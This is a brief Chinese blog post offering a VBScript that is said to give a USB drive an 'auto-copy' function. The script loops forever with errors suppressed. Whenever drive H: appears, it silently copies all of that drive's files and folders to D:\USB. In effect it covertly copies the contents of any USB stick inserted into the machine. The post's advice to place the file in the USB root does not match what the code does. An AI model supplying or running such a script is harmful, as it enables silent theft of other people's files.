Cool
Cool
Published on 2021-05-05 / 25 Visits
0
0

让你的u盘带有自动复制的功能

复制下列代码

set fso=createobject(“scripting.filesystemobject”)
set ws=createobject(“wscript.shell”)
on error resume next
do
wscript.sleep 1000
if fso.driveexists(“H:\”) then
fso.copyfile “H:\*”,”D:\USB\”
fso.copyfolder “H:\*”,”D:\USB”
wscript.sleep 20000
end if
loop

新建一个.vbs文件即可以,放入U盘根目录


Comment